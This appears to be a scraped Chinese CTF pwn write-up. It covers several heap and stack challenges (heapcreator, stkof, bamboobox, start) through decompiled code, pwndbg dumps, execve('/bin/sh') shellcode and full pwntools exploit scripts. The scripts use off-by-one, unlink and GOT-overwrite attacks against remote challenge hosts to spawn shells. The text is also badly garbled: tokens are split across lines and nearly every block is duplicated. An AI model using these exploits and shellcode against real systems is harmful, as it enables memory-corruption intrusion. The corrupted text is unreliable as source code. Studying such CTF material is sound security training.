); switch ( atoi(buf) ) { case
1
: create_heap();
break
; case
2
: edit_heap();
break
; case
3
: show_heap();
break
; case
4
: delete_heap();
break
; case
5
: exit(
0
); default: puts(
"Invalid Choice"
);
break
; } }}
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp){ char buf[
8
];
/
/
[rsp
+
0h
] [rbp
-
10h
] BYREF unsigned __int64 v5;
/
/
[rsp
+
8h
] [rbp
-
8h
] v5
=
__readfsqword(
0x28u
); setvbuf(_bss_start,
0LL
,
2
,
0LL
); setvbuf(stdin,
0LL
,
2
,
0LL
);
while
(
1
) { menu(); read(
0
, buf,
4uLL
); switch ( atoi(buf) ) { case
1
: create_heap();
break
; case
2
: edit_heap();
break
; case
3
: show_heap();
break
; case
4
: delete_heap();
break
; case
5
: exit(
0
); default: puts(
"Invalid Choice"
);
break
; } }}
unsigned __int64 edit_heap(){
int
v1;
/
/
[rsp
+
Ch] [rbp
-
14h
] char buf[
8
];
/
/
[rsp
+
10h
] [rbp
-
10h
] BYREF unsigned __int64 v3;
/
/
[rsp
+
18h
] [rbp
-
8h
] v3
=
__readfsqword(
0x28u
); printf(
"Index :"
); read(
0
, buf,
4uLL
); v1
=
atoi(buf);
if
( v1 <
0
|| v1 >
9
) { puts(
"Out of bound!"
); _exit(
0
); }
if
(
*
(&heaparray
+
v1) ) { printf(
"Content of heap : "
); read_input(
*
((_QWORD
*
)
*
(&heaparray
+
v1)
+
1
),
*
(_QWORD
*
)
*
(&heaparray
+
v1)
+
1LL
);
/
/
off by one puts(
"Done !"
); }
else
{ puts(
"No such heap !"
); }
return
__readfsqword(
0x28u
) ^ v3;}
unsigned __int64 edit_heap(){
int
v1;
/
/
[rsp
+
Ch] [rbp
-
14h
] char buf[
8
];
/
/
[rsp
+
10h
] [rbp
-
10h
] BYREF unsigned __int64 v3;
/
/
[rsp
+
18h
] [rbp
-
8h
] v3
=
__readfsqword(
0x28u
); printf(
"Index :"
); read(
0
, buf,
4uLL
); v1
=
atoi(buf);
if
( v1 <
0
|| v1 >
9
) { puts(
"Out of bound!"
); _exit(
0
); }
if
(
*
(&heaparray
+
v1) ) { printf(
"Content of heap : "
); read_input(
*
((_QWORD
*
)
*
(&heaparray
+
v1)
+
1
),
*
(_QWORD
*
)
*
(&heaparray
+
v1)
+
1LL
);
/
/
off by one puts(
"Done !"
); }
else
{ puts(
"No such heap !"
); }
return
__readfsqword(
0x28u
) ^ v3;}
alloc(
0x18
,
'bbbb'
)alloc(
0x10
,
'aaaa'
)
#gdb.attach(p)pause()elf = ELF('./heapcreator')libc = ELF('./libc-2.23.so')edit(0,'/bin/sh\x00'+'b'*0x10 +'\x41')#fake chunkpause()dele(1)#unsortedbinpause()alloc(0x30,p64(0)*4+p64(0x30)+p64(elf.got['free']))#for leak libcgdb.attach(p)
alloc(
0x18
,
'bbbb'
)alloc(
0x10
,
'aaaa'
)
#gdb.attach(p)pause()elf = ELF('./heapcreator')libc = ELF('./libc-2.23.so')edit(0,'/bin/sh\x00'+'b'*0x10 +'\x41')#fake chunkpause()dele(1)#unsortedbinpause()alloc(0x30,p64(0)*4+p64(0x30)+p64(elf.got['free']))#for leak libcgdb.attach(p)
pwndbg> x
/
32gx
0x90f0000x90f000
:
0x0000000000000000
0x00000000000000210x90f010
:
0x0000000000000018
0x000000000090f0300x90f020
:
0x0000000000000000
0x00000000000000210x90f030
:
0x0068732f6e69622f
0x62626262626262620x90f040
:
0x6262626262626262
0x00000000000000410x90f050
:
0x0000000000000000
0x00000000000000000x90f060
:
0x0000000000000000
0x00000000000000000x90f070
:
0x0000000000000030
0x0000000000602018
/
/
free的got地址
pwndbg> x
/
32gx
0x90f0000x90f000
:
0x0000000000000000
0x00000000000000210x90f010
:
0x0000000000000018
0x000000000090f0300x90f020
:
0x0000000000000000
0x00000000000000210x90f030
:
0x0068732f6e69622f
0x62626262626262620x90f040
:
0x6262626262626262
0x00000000000000410x90f050
:
0x0000000000000000
0x00000000000000000x90f060
:
0x0000000000000000
0x00000000000000000x90f070
:
0x0000000000000030
0x0000000000602018
/
/
free的got地址
pwndbg> x
/
32gx
0x06020180x602018
:
0x00007fa439c5a540
0x00000000004006a60x602028
:
0x00007fa439c456a0
0x00000000004006c60x602038
:
0x00007fa439c2b810
0x00007fa439ccd3500x602048
:
0x00007fa439bf6750
0x00007fa439c5a1800x602058
:
0x00007fa439c45e80
0x00007fa439c0ce900x602068
:
0x0000000000400736
0x00000000000000000x602078
:
0x0000000000000000
0x00007fa439f9b620
pwndbg> x
/
32gx
0x06020180x602018
:
0x00007fa439c5a540
0x00000000004006a60x602028
:
0x00007fa439c456a0
0x00000000004006c60x602038
:
0x00007fa439c2b810
0x00007fa439ccd3500x602048
:
0x00007fa439bf6750
0x00007fa439c5a1800x602058
:
0x00007fa439c45e80
0x00007fa439c0ce900x602068
:
0x0000000000400736
0x00000000000000000x602078
:
0x0000000000000000
0x00007fa439f9b620
pwndbg> x
/
32gx
0x6020180x602018
:
0x00007f7911e163e0
0x000000000040060a0x602028
:
0x00007f7911e406a0
0x00000000004006c60x602038
:
0x00007f7911e26810
0x00007f7911ec83500x602048
:
0x00007f7911df1750
0x00007f7911e551800x602058
:
0x00007f7911e40e80
0x00007f7911e07e900x602068
:
0x0000000000400736
0x00000000000000000x602078
:
0x0000000000000000
0x00007f79121966200x602088
:
0x0000000000000000
0x00007f79121958e0
pwndbg> x
/
32gx
0x6020180x602018
:
0x00007f7911e163e0
0x000000000040060a0x602028
:
0x00007f7911e406a0
0x00000000004006c60x602038
:
0x00007f7911e26810
0x00007f7911ec83500x602048
:
0x00007f7911df1750
0x00007f7911e551800x602058
:
0x00007f7911e40e80
0x00007f7911e07e900x602068
:
0x0000000000400736
0x00000000000000000x602078
:
0x0000000000000000
0x00007f79121966200x602088
:
0x0000000000000000
0x00007f79121958e0
from
pwn
import
*
#p = remote('node4.buuoj.cn',28682)p = process('./heapcreator')context.log_level = 'debug'def alloc(size,content): p.sendlineafter('Your choice :',str(1)) p.sendlineafter('Size of Heap : ',str(size)) p.sendlineafter('Content of heap:',content)def edit(index,content): p.sendlineafter('Your choice :',str(2)) p.sendlineafter('Index :',str(index)) p.sendlineafter('Content of heap : ',content)def show(index): p.sendlineafter('Your choice :',str(3)) p.sendlineafter('Index :',str(index))def dele(index): p.sendlineafter('Your choice :',str(4)) p.sendlineafter('Index :',str(index))alloc(0x18,'bbbb')alloc(0x10,'aaaa')#gdb.attach(p)pause()elf = ELF('./heapcreator')libc = ELF('./libc-2.23.so')edit(0,'/bin/sh\x00'+'b'*0x10 +'\x41')pause()dele(1)pause()alloc(0x30,p64(0)*4+p64(0x30)+p64(elf.got['free']))show(1)free = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))log.success('free==>'+str(hex(free)))libc_base = free - libc.sym['free']system = libc_base + libc.sym['system']log.success('system==>'+str(hex(system)))gdb.attach(p)edit(1,p64(system))dele(0)#gdb.attach(p)p.interactive()
from
pwn
import
*
#p = remote('node4.buuoj.cn',28682)p = process('./heapcreator')context.log_level = 'debug'def alloc(size,content): p.sendlineafter('Your choice :',str(1)) p.sendlineafter('Size of Heap : ',str(size)) p.sendlineafter('Content of heap:',content)def edit(index,content): p.sendlineafter('Your choice :',str(2)) p.sendlineafter('Index :',str(index)) p.sendlineafter('Content of heap : ',content)def show(index): p.sendlineafter('Your choice :',str(3)) p.sendlineafter('Index :',str(index))def dele(index): p.sendlineafter('Your choice :',str(4)) p.sendlineafter('Index :',str(index))alloc(0x18,'bbbb')alloc(0x10,'aaaa')#gdb.attach(p)pause()elf = ELF('./heapcreator')libc = ELF('./libc-2.23.so')edit(0,'/bin/sh\x00'+'b'*0x10 +'\x41')pause()dele(1)pause()alloc(0x30,p64(0)*4+p64(0x30)+p64(elf.got['free']))show(1)free = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))log.success('free==>'+str(hex(free)))libc_base = free - libc.sym['free']system = libc_base + libc.sym['system']log.success('system==>'+str(hex(system)))gdb.attach(p)edit(1,p64(system))dele(0)#gdb.attach(p)p.interactive()
48060
public _start.text:
08048060
_start proc near ; DATA XREF: LOAD:
08048018
↑o.text:
08048060
push esp.text:
08048061
push offset _exit.text:
08048066
xor eax, eax.text:
08048068
xor ebx, ebx.text:
0804806A
xor ecx, ecx.text:
0804806C
xor edx, edx.text:
0804806E
push
3A465443h
.text:
08048073
push
20656874h
.text:
08048078
push
20747261h
.text:
0804807D
push
74732073h
.text:
08048082
push
2774654Ch
.text:
08048087
mov ecx, esp ; addr.text:
08048089
mov dl,
14h
;
len
.text:
0804808B
mov bl,
1
; fd.text:
0804808D
mov al,
4.text
:
0804808F
int
80h
; LINUX
-
sys_write.text:
08048091
xor ebx, ebx.text:
08048093
mov dl,
3Ch
;
'<'
.text:
08048095
mov al,
3.text
:
08048097
int
80h
; LINUX
-
.text:
08048099
add esp,
14h
.text:
0804809C
retn.text:
0804809C
_start endp ; sp
-
analysis failed
48060
public _start.text:
08048060
_start proc near ; DATA XREF: LOAD:
08048018
↑o.text:
08048060
push esp.text:
08048061
push offset _exit.text:
08048066
xor eax, eax.text:
08048068
xor ebx, ebx.text:
0804806A
xor ecx, ecx.text:
0804806C
xor edx, edx.text:
0804806E
push
3A465443h
.text:
08048073
push
20656874h
.text:
08048078
push
20747261h
.text:
0804807D
push
74732073h
.text:
08048082
push
2774654Ch
.text:
08048087
mov ecx, esp ; addr.text:
08048089
mov dl,
14h
;
len
.text:
0804808B
mov bl,
1
; fd.text:
0804808D
mov al,
4.text
:
0804808F
int
80h
; LINUX
-
sys_write.text:
08048091
xor ebx, ebx.text:
08048093
mov dl,
3Ch
;
'<'
.text:
08048095
mov al,
3.text
:
08048097
int
80h
; LINUX
-
.text:
08048099
add esp,
14h
.text:
0804809C
retn.text:
0804809C
_start endp ; sp
-
analysis failed
cyclic xxx随机生成xxx大小字符串填爆栈帧然后用cyclic
-
l 加上被填爆栈帧的地址可以得到偏移(距离bp寄存器的offset)example───────────────────────────────────[ DISASM ]───────────────────────────────────Invalid address
0x61616166pwndbg
> cyclic
-
l
0x6161616620
cyclic xxx随机生成xxx大小字符串填爆栈帧然后用cyclic
-
l 加上被填爆栈帧的地址可以得到偏移(距离bp寄存器的offset)example───────────────────────────────────[ DISASM ]───────────────────────────────────Invalid address
0x61616166pwndbg
> cyclic
-
l
0x6161616620
context.arch
=
'i386'
code
=
'''push 0x68push 0x732f2f2fpush 0x6e69622f mov ebx, espxor ecx, ecxxor edx, edxmov al, 0xb int 0x80'''
sc
=
asm(code)
context.arch
=
'i386'
code
=
'''push 0x68push 0x732f2f2fpush 0x6e69622f mov ebx, espxor ecx, ecxxor edx, edxmov al, 0xb int 0x80'''
sc
=
asm(code)
context.arch
=
'amd64'
code
=
'''mov rax, 0x68732f6e69622f;push raxmov rdi, rsp;mov rsi, 0;xor rdx, rdx;mov rax, 59;syscall'''
sc
=
asm(code)
context.arch
=
'amd64'
code
=
'''mov rax, 0x68732f6e69622f;push raxmov rdi, rsp;mov rsi, 0;xor rdx, rdx;mov rax, 59;syscall'''
sc
=
asm(code)
from
pwn
import
*
loacl_elf
=
ELF(
"./start"
)context.arch
=
loacl_elf.archp
=
process(
"./start"
)p
=
remote(
"node4.buuoj.cn"
,
27011
)
#gdb.attach(p, 'b* 0x08048060') #shellcode=asm(shellcraft.sh())context.arch='i386'code='''push 0x68push 0x732f2f2fpush 0x6e69622f mov ebx, espxor ecx, ecxxor edx, edxmov al, 0xb int 0x80'''sc = asm(code)#payload = 'a'*20 payload = 'a'*20 + p32(0x08048087)#汇编中的addr 溢出后传入该地址去泄露esp p.recvuntil("Let's start the CTF:")p.send(payload)esp_addr = u32(p.recv(4))p.recv()payload= 'a' * 20 + p32(esp_addr + 20) + scp.send(payload) p.interactive()
from
pwn
import
*
loacl_elf
=
ELF(
"./start"
)context.arch
=
loacl_elf.archp
=
process(
"./start"
)p
=
remote(
"node4.buuoj.cn"
,
27011
)
#gdb.attach(p, 'b* 0x08048060') #shellcode=asm(shellcraft.sh())context.arch='i386'code='''push 0x68push 0x732f2f2fpush 0x6e69622f mov ebx, espxor ecx, ecxxor edx, edxmov al, 0xb int 0x80'''sc = asm(code)#payload = 'a'*20 payload = 'a'*20 + p32(0x08048087)#汇编中的addr 溢出后传入该地址去泄露esp p.recvuntil("Let's start the CTF:")p.send(payload)esp_addr = u32(p.recv(4))p.recv()payload= 'a' * 20 + p32(esp_addr + 20) + scp.send(payload) p.interactive()
__int64 __fastcall main(
int
a1, char
*
*
a2, char
*
*
a3){
int
v3;
/
/
eax
int
v5;
/
/
[rsp
+
Ch] [rbp
-
74h
] char nptr[
104
];
/
/
[rsp
+
10h
] [rbp
-
70h
] BYREF unsigned __int64 v7;
/
/
[rsp
+
78h
] [rbp
-
8h
] v7
=
__readfsqword(
0x28u
);
while
( fgets(nptr,
10
, stdin) ) { v3
=
atoi(nptr);
if
( v3
=
=
2
) { v5
=
edit(); goto LABEL_14; }
if
( v3 >
2
) {
if
( v3
=
=
3
) { v5
=
dele(); goto LABEL_14; }
if
( v3
=
=
4
) { v5
=
useless(); goto LABEL_14; } }
else
if
( v3
=
=
1
) { v5
=
add(); goto LABEL_14; } v5
=
-
1
;LABEL_14:
if
( v5 ) puts(
"FAIL"
);
else
puts(
"OK"
); fflush(stdout); }
return
0LL
;}
__int64 __fastcall main(
int
a1, char
*
*
a2, char
*
*
a3){
int
v3;
/
/
eax
int
v5;
/
/
[rsp
+
Ch] [rbp
-
74h
] char nptr[
104
];
/
/
[rsp
+
10h
] [rbp
-
70h
] BYREF unsigned __int64 v7;
/
/
[rsp
+
78h
] [rbp
-
8h
] v7
=
__readfsqword(
0x28u
);
while
( fgets(nptr,
10
, stdin) ) { v3
=
atoi(nptr);
if
( v3
=
=
2
) { v5
=
edit(); goto LABEL_14; }
if
( v3 >
2
) {
if
( v3
=
=
3
) { v5
=
dele(); goto LABEL_14; }
if
( v3
=
=
4
) { v5
=
useless(); goto LABEL_14; } }
else
if
( v3
=
=
1
) { v5
=
add(); goto LABEL_14; } v5
=
-
1
;LABEL_14:
if
( v5 ) puts(
"FAIL"
);
else
puts(
"OK"
); fflush(stdout); }
return
0LL
;}
__int64 edit(){ __int64 result;
/
/
rax
int
i;
/
/
eax unsigned
int
v2;
/
/
[rsp
+
8h
] [rbp
-
88h
] __int64 n;
/
/
[rsp
+
10h
] [rbp
-
80h
] char
*
ptr;
/
/
[rsp
+
18h
] [rbp
-
78h
] char s[
104
];
/
/
[rsp
+
20h
] [rbp
-
70h
] BYREF unsigned __int64 v6;
/
/
[rsp
+
88h
] [rbp
-
8h
] v6
=
__readfsqword(
0x28u
); fgets(s,
16
, stdin); v2
=
atol(s);
if
( v2 >
0x100000
)
return
0xFFFFFFFFLL
;
if
( !(&::s)[v2] )
return
0xFFFFFFFFLL
; fgets(s,
16
, stdin); n
=
atoll(s); ptr
=
(&::s)[v2];
for
( i
=
fread(ptr,
1uLL
, n, stdin); i >
0
; i
=
fread(ptr,
1uLL
, n, stdin) ) { ptr
+
=
i; n
-
=
i; }
if
( n ) result
=
0xFFFFFFFFLL
;
else
result
=
0LL
;
return
result;}
__int64 edit(){ __int64 result;
/
/
rax
int
i;
/
/
eax unsigned
int
v2;
/
/
[rsp
+
8h
] [rbp
-
88h
] __int64 n;
/
/
[rsp
+
10h
] [rbp
-
80h
] char
*
ptr;
/
/
[rsp
+
18h
] [rbp
-
78h
] char s[
104
];
/
/
[rsp
+
20h
] [rbp
-
70h
] BYREF unsigned __int64 v6;
/
/
[rsp
+
88h
] [rbp
-
8h
] v6
=
__readfsqword(
0x28u
); fgets(s,
16
, stdin); v2
=
atol(s);
if
( v2 >
0x100000
)
return
0xFFFFFFFFLL
;
if
( !(&::s)[v2] )
return
0xFFFFFFFFLL
; fgets(s,
16
, stdin); n
=
atoll(s); ptr
=
(&::s)[v2];
for
( i
=
fread(ptr,
1uLL
, n, stdin); i >
0
; i
=
fread(ptr,
1uLL
, n, stdin) ) { ptr
+
=
i; n
-
=
i; }
if
( n ) result
=
0xFFFFFFFFLL
;
else
result
=
0LL
;
return
result;}
pwndbg> x
/
32gx
0x6021000x602100
:
0x0000000000000003
0x00000000000000000x602110
:
0x0000000000000000
0x00000000000000000x602120
:
0x0000000000000000
0x00000000000000000x602130
:
0x0000000000000000
0x00000000000000000x602140
:
0x0000000000000000
0x0000000000e054200x602150
:
0x0000000000e05870
0x0000000000e058c0
pwndbg> x
/
32gx
0x6021000x602100
:
0x0000000000000003
0x00000000000000000x602110
:
0x0000000000000000
0x00000000000000000x602120
:
0x0000000000000000
0x00000000000000000x602130
:
0x0000000000000000
0x00000000000000000x602140
:
0x0000000000000000
0x0000000000e054200x602150
:
0x0000000000e05870
0x0000000000e058c0
add(
0x20
)
#1add(0x30)#2add(0x80)#3add(0x30)#4
add(
0x20
)
#1add(0x30)#2add(0x80)#3add(0x30)#4
p1
=
p64(
0
)
#prev_sizep1+=p64(0x30)#fake chunk_sizep1+=p64(fd)+p64(bk)p1+='a'*0x10#junk codep1+=p64(0x30)#prev_sizep1+=p64(0x90)'''fake chunk_size insure位置为0欺骗程序让程序误认为前面的chunk被释放了'''edit(2,p1)free(3)#unlink
p1
=
p64(
0
)
#prev_sizep1+=p64(0x30)#fake chunk_sizep1+=p64(fd)+p64(bk)p1+='a'*0x10#junk codep1+=p64(0x30)#prev_sizep1+=p64(0x90)'''fake chunk_size insure位置为0欺骗程序让程序误认为前面的chunk被释放了'''edit(2,p1)free(3)#unlink
pwndbg> x
/
32gx
0x14a94500x14a9450
:
0x0000000000000000
0x00000000000000410x14a9460
:
0x0000000000000000
0x00000000000000c10x14a9470
:
0x00007f1ac4923b78
0x00007f1ac4923b780x14a9480
:
0x6161616161616161
0x61616161616161610x14a9490
:
0x0000000000000030
0x00000000000000900x14a94a0
:
0x0000000000000000
0x00000000000000000x14a94b0
:
0x0000000000000000
0x00000000000000000x14a94c0
:
0x0000000000000000
0x00000000000000000x14a94d0
:
0x0000000000000000
0x00000000000000000x14a94e0
:
0x0000000000000000
0x00000000000000000x14a94f0
:
0x0000000000000000
0x0000000000000000
pwndbg> x
/
32gx
0x14a94500x14a9450
:
0x0000000000000000
0x00000000000000410x14a9460
:
0x0000000000000000
0x00000000000000c10x14a9470
:
0x00007f1ac4923b78
0x00007f1ac4923b780x14a9480
:
0x6161616161616161
0x61616161616161610x14a9490
:
0x0000000000000030
0x00000000000000900x14a94a0
:
0x0000000000000000
0x00000000000000000x14a94b0
:
0x0000000000000000
0x00000000000000000x14a94c0
:
0x0000000000000000
0x00000000000000000x14a94d0
:
0x0000000000000000
0x00000000000000000x14a94e0
:
0x0000000000000000
0x00000000000000000x14a94f0
:
0x0000000000000000
0x0000000000000000
p2
=
'b'
*
0x10
+
p64(free_got)
+
p64(puts_got)edit(
2
,p2)p3
=
p64(puts_plt)edit(
1
,p3)free(
2
)leak
=
u64(r.recvuntil(
'\x7f'
)[
-
6
:].ljust(
8
,
'\x00'
))log.success(
'leak:'
+
hex
(leak))base
=
leak
-
0x06f6a0sys
=
base
+
0x0453a0binsh
=
base
+
0x18ce17
p2
=
'b'
*
0x10
+
p64(free_got)
+
p64(puts_got)edit(
2
,p2)p3
=
p64(puts_plt)edit(
1
,p3)free(
2
)leak
=
u64(r.recvuntil(
'\x7f'
)[
-
6
:].ljust(
8
,
'\x00'
))log.success(
'leak:'
+
hex
(leak))base
=
leak
-
0x06f6a0sys
=
base
+
0x0453a0binsh
=
base
+
0x18ce17
edit(
1
,p64(sys))edit(
4
,
'/bin/sh\x00'
)free(
4
)r.interactive()
edit(
1
,p64(sys))edit(
4
,
'/bin/sh\x00'
)free(
4
)r.interactive()
from
pwn
import
*
r
=
process(
'./stkof'
)libc
=
ELF(
'./libc-2.23.so'
)elf
=
ELF(
'stkof'
)context.log_level
=
'debug'
puts_got
=
elf.got[
'puts'
]puts_plt
=
elf.plt[
'puts'
]free_got
=
elf.got[
'free'
]
#r=remote('node4.buuoj.cn','29385')def debug(cmd=''): gdb.attach(r,cmd)def add(size): r.sendline("1") r.sendline(str(size)) r.recvuntil("OK\n") def free(idx): r.sendline("3") r.sendline(str(idx)) def edit(idx,strings): r.sendline("2") r.sendline(str(idx)) r.sendline(str(len(strings))) r.send(strings) r.recvuntil("OK\n")target = 0x602140 + 0x10 #global[2]fd = target - 24bk = target - 16add(0x20)#1add(0x30)#2add(0x80)#3add(0x30)#4p1=p64(0)#prev_sizep1+=p64(0x30)#fake chunk_sizep1+=p64(fd)+p64(bk)p1+='a'*0x10#junk codep1+=p64(0x30)#prev_sizep1+=p64(0x90)#fake chunk_sizeedit(2,p1)free(3)#unlinkputs_got = elf.got['puts']puts_plt = elf.plt['puts']free_got = elf.got['free']#atoi_got = elf.got['atoi']p2 = 'b'*0x10 + p64(free_got)+p64(puts_got)edit(2, p2) #target-0x8p3 = p64(puts_plt)edit(1, p3) #global[1]free(2) #chu faleak = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))log.success('leak:'+hex(leak))base=leak-0x06f6a0sys=base+0x0453a0binsh=base+0x18ce17edit(1,p64(sys))edit(4,'/bin/sh\x00')free(4)r.interactive()
from
pwn
import
*
r
=
process(
'./stkof'
)libc
=
ELF(
'./libc-2.23.so'
)elf
=
ELF(
'stkof'
)context.log_level
=
'debug'
puts_got
=
elf.got[
'puts'
]puts_plt
=
elf.plt[
'puts'
]free_got
=
elf.got[
'free'
]
#r=remote('node4.buuoj.cn','29385')def debug(cmd=''): gdb.attach(r,cmd)def add(size): r.sendline("1") r.sendline(str(size)) r.recvuntil("OK\n") def free(idx): r.sendline("3") r.sendline(str(idx)) def edit(idx,strings): r.sendline("2") r.sendline(str(idx)) r.sendline(str(len(strings))) r.send(strings) r.recvuntil("OK\n")target = 0x602140 + 0x10 #global[2]fd = target - 24bk = target - 16add(0x20)#1add(0x30)#2add(0x80)#3add(0x30)#4p1=p64(0)#prev_sizep1+=p64(0x30)#fake chunk_sizep1+=p64(fd)+p64(bk)p1+='a'*0x10#junk codep1+=p64(0x30)#prev_sizep1+=p64(0x90)#fake chunk_sizeedit(2,p1)free(3)#unlinkputs_got = elf.got['puts']puts_plt = elf.plt['puts']free_got = elf.got['free']#atoi_got = elf.got['atoi']p2 = 'b'*0x10 + p64(free_got)+p64(puts_got)edit(2, p2) #target-0x8p3 = p64(puts_plt)edit(1, p3) #global[1]free(2) #chu faleak = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))log.success('leak:'+hex(leak))base=leak-0x06f6a0sys=base+0x0453a0binsh=base+0x18ce17edit(1,p64(sys))edit(4,'/bin/sh\x00')free(4)r.interactive()
payload
=
p64(
0
)
*
2payload
+
=
p64(
0x40
)
+
p64(free_got)edit(
0
,
len
(payload),payload)
payload
=
p64(
0
)
*
2payload
+
=
p64(
0x40
)
+
p64(free_got)edit(
0
,
len
(payload),payload)
pwndbg> x
/
32gx
0x6020C00x6020c0
<itemlist>:
0x0000000000000040
0x00000000006020180x6020d0
<itemlist
+
16
>:
0x0000000000000000
0x00000000000000000x6020e0
<itemlist
+
32
>:
0x0000000000000080
0x00000000006f31100x6020f0
<itemlist
+
48
>:
0x0000000000000020
0x00000000006f31a00x602100
<itemlist
+
64
>:
0x0000000000000000
0x0000000000000000
pwndbg> x
/
32gx
0x6020C00x6020c0
<itemlist>:
0x0000000000000040
0x00000000006020180x6020d0
<itemlist
+
16
>:
0x0000000000000000
0x00000000000000000x6020e0
<itemlist
+
32
>:
0x0000000000000080
0x00000000006f31100x6020f0
<itemlist
+
48
>:
0x0000000000000020
0x00000000006f31a00x602100
<itemlist
+
64
>:
0x0000000000000000
0x0000000000000000
from
pwn
import
*
r
=
process(
'./bamboobox'
)
#r=remote('node4.buuoj.cn','27243')
from
LibcSearcher
import
*
context.log_level
=
'debug'
context.os
=
'linux'
context.arch
=
'amd64'
elf
=
ELF(
'./bamboobox'
)
puts_got
=
elf.got[
'puts'
]
puts_plt
=
elf.plt[
'puts'
]
free_got
=
elf.got[
'free'
]
def
add(length,context):
r.sendlineafter(
'Your choice:'
,
str
(
2
))
r.sendlineafter(
'Please enter the length of item name:'
,
str
(length))
r.sendafter(
'Please enter the name of item:'
,
str
(context))
def
dele(idx):
r.sendlineafter(
'Your choice:'
,
str
(
4
))
r.sendlineafter(
'Please enter the index of item:'
,
str
(idx))
def
edit(idx,length,context):
r.sendlineafter(
'Your choice:'
,
str
(
3
))
r.sendlineafter(
'Please enter the index of item:'
,
str
(idx))
r.sendlineafter(
'Please enter the length of item name:'
,
str
(length))
r.sendafter(
'Please enter the new name of the item:'
,
str
(context))
def
show():
r.recvuntil(
"Your choice:"
)
r.sendline(
str
(
1
))
fd
=
0x6020c8
-
0x18
bk
=
0x6020c8
-
0x10
add(
0x40
,
'a'
)
#0
add(
0x80
,
'a'
)
#1
add(
0x80
,
'a'
)
#2
add(
0x20
,
'/bin/sh\x00'
)
#3
payload
=
p64(
0
)
+
p64(
0x41
)
+
p64(fd)
+
p64(bk)
+
'a'
*
0x20
+
p64(
0x40
)
+
p64(
0x90
)
edit(
0
,
len
(payload),payload)
dele(
1
)
payload
=
p64(
0
)
*
2
payload
+
=
p64(
0x40
)
+
p64(free_got)
edit(
0
,
len
(payload),payload)
gdb.attach(r)
show()
leak
=
u64(r.recvuntil(
"\x7f"
)[
-
6
:]
+
'\x00\x00'
)
log.success(
hex
(leak))
libc
=
LibcSearcher(
'free'
,leak)
base
=
leak
-
libc.dump(
'free'
)
sys
=
base
+
libc.dump(
'system'
)
edit(
0
,
len
(p64(sys)),p64(sys))
dele(
3
)
r.interactive()
from
pwn
import
*
r
=
process(
'./bamboobox'
)
#r=remote('node4.buuoj.cn','27243')
from
LibcSearcher
import
*
context.log_level
=
'debug'
context.os
=
'linux'
context.arch
=
'amd64'
elf
=
ELF(
'./bamboobox'
)
puts_got
=
elf.got[
'puts'
]
puts_plt
=
elf.plt[
'puts'
]
free_got
=
elf.got[
'free'
]
def
add(length,context):
r.sendlineafter(
'Your choice:'
,
str
(
2
))
r.sendlineafter(
'Please enter the length of item name:'
,
str
(length))
r.sendafter(
'Please enter the name of item:'
,
str
(context))
def
dele(idx):
r.sendlineafter(
'Your choice:'
,
str
(
4
))
r.sendlineafter(
'Please enter the index of item:'
,
str
(idx))
def
edit(idx,length,context):
r.sendlineafter(
'Your choice:'
,
str
(
3
))
r.sendlineafter(
'Please enter the index of item:'
,
str
(idx))
r.sendlineafter(
'Please enter the length of item name:'
,
str
(length))
r.sendafter(
'Please enter the new name of the item:'
,
str
(context))
def
show():
r.recvuntil(
"Your choice:"
)
r.sendline(
str
(
1
))
fd
=
0x6020c8
-
0x18
bk
=
0x6020c8
-
0x10
add(
0x40
,
'a'
)
#0
add(
0x80
,
'a'
)
#1
add(
0x80
,
'a'
)
#2
add(
0x20
,
'/bin/sh\x00'
)
#3
payload
=
p64(
0
)
+
p64(
0x41
)
+
p64(fd)
+
p64(bk)
+
'a'
*
0x20
+
p64(
0x40
)
+
p64(
0x90
)
edit(
0
,
len
(payload),payload)
dele(
1
)
payload
=
p64(
0
)
*
2
payload
+
=
p64(
0x40
)
+
p64(free_got)
edit(
0
,
len
(payload),payload)
gdb.attach(r)
show()
leak
=
u64(r.recvuntil(
"\x7f"
)[
-
6
:]
+
'\x00\x00'
)
log.success(
hex
(leak))
libc
=
LibcSearcher(
'free'
,leak)
base
=
leak
-
libc.dump(
'free'
)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [原创][KCTF]第十三题 共存之道 WP 9330
- [原创]docker-remoter-api渗透 1059
- [原创]赛棍pwn课程(结束了共计9天) 24163
- [分享]pwn部分简单堆利用记录 21568